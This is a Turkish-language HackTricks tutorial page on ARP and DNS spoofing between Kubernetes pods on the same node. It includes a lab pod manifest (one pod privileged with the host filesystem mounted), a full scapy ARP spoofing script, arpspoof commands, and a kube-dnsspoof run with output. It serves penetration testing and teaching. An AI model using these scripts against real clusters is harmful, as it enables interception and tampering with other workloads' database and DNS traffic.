Kubernetes Network Attacks

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Giriş

Kubernetes'te, aynı düğümde bulunan tüm konteynerler arasında bağlantı kurulmasına izin veren bir varsayılan davranış gözlemlenir. Bu, ad alanı ayrımlarına bakılmaksızın geçerlidir. Bu bağlantı, Katman 2 (Ethernet) seviyesine kadar uzanır. Sonuç olarak, bu yapılandırma potansiyel olarak sistemi güvenlik açıklarına karşı savunmasız bırakır. Özellikle, bu, kötü niyetli bir konteynerin, aynı düğümde bulunan diğer konteynerlere karşı bir ARP sahtekarlığı saldırısı gerçekleştirmesine olanak tanır. Bu tür bir saldırı sırasında, kötü niyetli konteyner, diğer konteynerler için tasarlanmış ağ trafiğini aldatıcı bir şekilde onları hedef alarak yakalayabilir veya değiştirebilir.

ARP sahtekarlığı saldırıları, yerel bir ağ üzerinde sahtekarlık yapılmış ARP (Adres Çözümleme Protokolü) mesajlarının gönderilmesini içerir. Bu, saldırganın MAC adresini ağdaki meşru bir bilgisayarın veya sunucunun IP adresiyle ilişkilendirmesine neden olur. Bu tür bir saldırının başarılı bir şekilde gerçekleştirilmesinden sonra, saldırgan veri iletimi sırasında veriyi yakalayabilir, değiştirebilir veya hatta durdurabilir. Saldırı, OSI modelinin Katman 2'sinde gerçekleştirildiği için Kubernetes'teki bu katmanda varsayılan bağlantı güvenlik endişelerine neden olur.

Senaryoda 4 makine oluşturulacak:

  • ubuntu-pe: Düğümden kaçmak ve metrikleri kontrol etmek için ayrıcalıklı makine (saldırı için gerekli değil)

  • ubuntu-attack: Varsayılan ad alanında kötü niyetli bir konteyner

  • ubuntu-victim: kube-system ad alanında hedef makine

  • mysql: Varsayılan ad alanında hedef makine

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Temel Kubernetes Ağlama

Burada tanıtılan ağlama konuları hakkında daha fazla ayrıntı isterseniz, referanslara gidin.

ARP

Genel olarak, düğüm içindeki podlar arası ağlama, tüm podları birleştiren bir köprü aracılığıyla mümkündür. Bu köprü "cbr0" olarak adlandırılır. (Bazı ağ eklentileri kendi köprülerini kurar.) cbr0 ayrıca ARP (Adres Çözümleme Protokolü) çözümlemesini de yönetebilir. Gelen bir paket cbr0'a geldiğinde, ARP kullanarak hedef MAC adresini çözebilir.

Bu gerçek, varsayılan olarak, aynı düğümde çalışan her podun, ethernet seviyesinde (katman 2) aynı düğümdeki diğer herhangi bir podla iletişim kurabileceği anlamına gelir (namespace bağımsız).

Bu nedenle, aynı düğümdeki podlar arasında ARP Sahtekarlığı saldırıları gerçekleştirmek mümkündür.

DNS

Kubernetes ortamlarında genellikle kube-system ad alanında çalışan 1 (veya daha fazla) DNS hizmeti bulunur:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Önceki bilgilerde ilginç bir şey görebilirsiniz, hizmetin IP'si 10.96.0.10 ancak hizmeti çalıştıran pod'un IP'si 172.17.0.2.

Herhangi bir pod içinde DNS adresini kontrol ederseniz şuna benzer bir şey bulacaksınız:

cat /etc/resolv.conf
nameserver 10.96.0.10

Ancak, podun bu durumda 172.17.0.10/26 olan pod aralığındaki adrese nasıl ulaşacağını bilmiyor.

Bu nedenle, pod, DNS isteklerini 10.96.0.10 adresine gönderecek ve bu adres cbr0 tarafından 172.17.0.2'ye çevrilecek.

Bu, bir podun DNS isteğinin, DNS sunucusunun pod ile aynı alt ağda olması durumunda bile her zaman köprüye (bridge) gideceği ve hizmet IP'sini uç nokta IP'sine çevireceği anlamına gelir.

Bunu bilerek ve ARP saldırılarının mümkün olduğunu bilerek, bir düğümdeki bir pod, alt ağdaki her pod ile köprü arasındaki trafiği ele geçirebilecek ve DNS sunucusundan gelen DNS yanıtlarını değiştirebilecektir (DNS Sahteciliği).

Dahası, DNS sunucusu, saldırganla aynı düğümde bulunuyorsa, saldırgan, kümedeki herhangi bir podun (DNS sunucusu ile köprü arasındaki) tüm DNS isteklerini ele geçirebilir ve yanıtları değiştirebilir.

Aynı Düğümdeki Podlarda ARP Sahteciliği

Amacımız, ubuntu-victim ile mysql arasındaki iletişimi en azından çalmaktır.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoof, ağdaki diğer cihazların ARP (Address Resolution Protocol) tablosunu manipüle etmek için kullanılan bir saldırıdır. Bu saldırı, ağdaki cihazların iletişimini engelleyebilir veya yönlendirebilir.

Bu saldırıyı gerçekleştirmek için, saldırgan ağdaki diğer cihazlara sahte ARP yanıtları gönderir. Bu yanıtlar, saldırganın MAC adresini hedef cihazın IP adresiyle ilişkilendirir. Böylece, hedef cihaz, saldırganın MAC adresine yönlendirilen tüm trafiği gönderir.

ARPSpoof saldırısı, ağdaki trafiği izlemek, paketleri yakalamak veya hedef cihazın verilerini çalmak için kullanılabilir. Bu saldırı, ağ güvenliği açısından ciddi bir tehdit oluşturabilir ve ağ yöneticileri tarafından izlenmelidir.

ARPSpoof saldırısından korunmanın bir yolu, ağdaki tüm cihazların ARP tablolarını düzenli olarak kontrol etmek ve sahte ARP yanıtlarını tespit etmek için bir IDS (Intrusion Detection System) kullanmaktır. Ayrıca, ağdaki trafiği şifrelemek ve güvenliği artırmak için VPN (Virtual Private Network) kullanılabilir.

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Daha önce belirtildiği gibi, eğer aynı düğümdeki DNS sunucusu pod'unu ele geçirirseniz, ARPSpoofing ile köprüyü ve DNS pod'unu MitM yapabilir ve tüm DNS yanıtlarını değiştirebilirsiniz.

Bu işlemi test etmek için gerçekten güzel bir araç ve öğreticiye https://github.com/danielsagi/kube-dnsspoof/ adresinden ulaşabilirsiniz.

Senaryomuzda, saldırgan pod'a aracı indirin ve hosts adında bir dosya oluşturun. Bu dosyada spoof yapmak istediğiniz alan adlarını belirtin:

cat hosts
google.com. 1.1.1.1

Ubuntu-hedef makineye saldırı gerçekleştirin:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Kendi DNS sahtecilik betiğinizi oluşturmaya çalışıyorsanız, yalnızca DNS yanıtını değiştirirseniz bu işe yaramayacak, çünkü yanıt, kötü niyetli pod'un IP adresini içerecek ve kabul edilmeyecektir. Kurbanın DNS isteğini gönderdiği DNS'nin src IP'si ile birlikte yeni bir DNS paketi oluşturmanız gerekmektedir (bu genellikle 172.16.0.2 gibi bir şeydir, 10.96.0.10 ise K8s DNS hizmeti IP'sidir ve DNS sunucusu IP'si değildir, bununla ilgili daha fazla bilgiye girişte yer alan kaynaklardan ulaşabilirsiniz).

Trafik Yakalama

Mizu aracı, Kubernetes için basit ancak güçlü bir API trafik görüntüleyicisidir. Hata ayıklama ve geriye dönük sorun giderme için mikro hizmetler arasındaki tüm API iletişimini görüntülemenizi sağlar. Seçilen pod'lara ajanlar kuracak ve trafiğe ilişkin bilgileri toplayarak bunları bir web sunucusunda size gösterecektir. Bunun için yüksek K8s izinlerine ihtiyacınız olacak (ve çok gizli değildir).

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated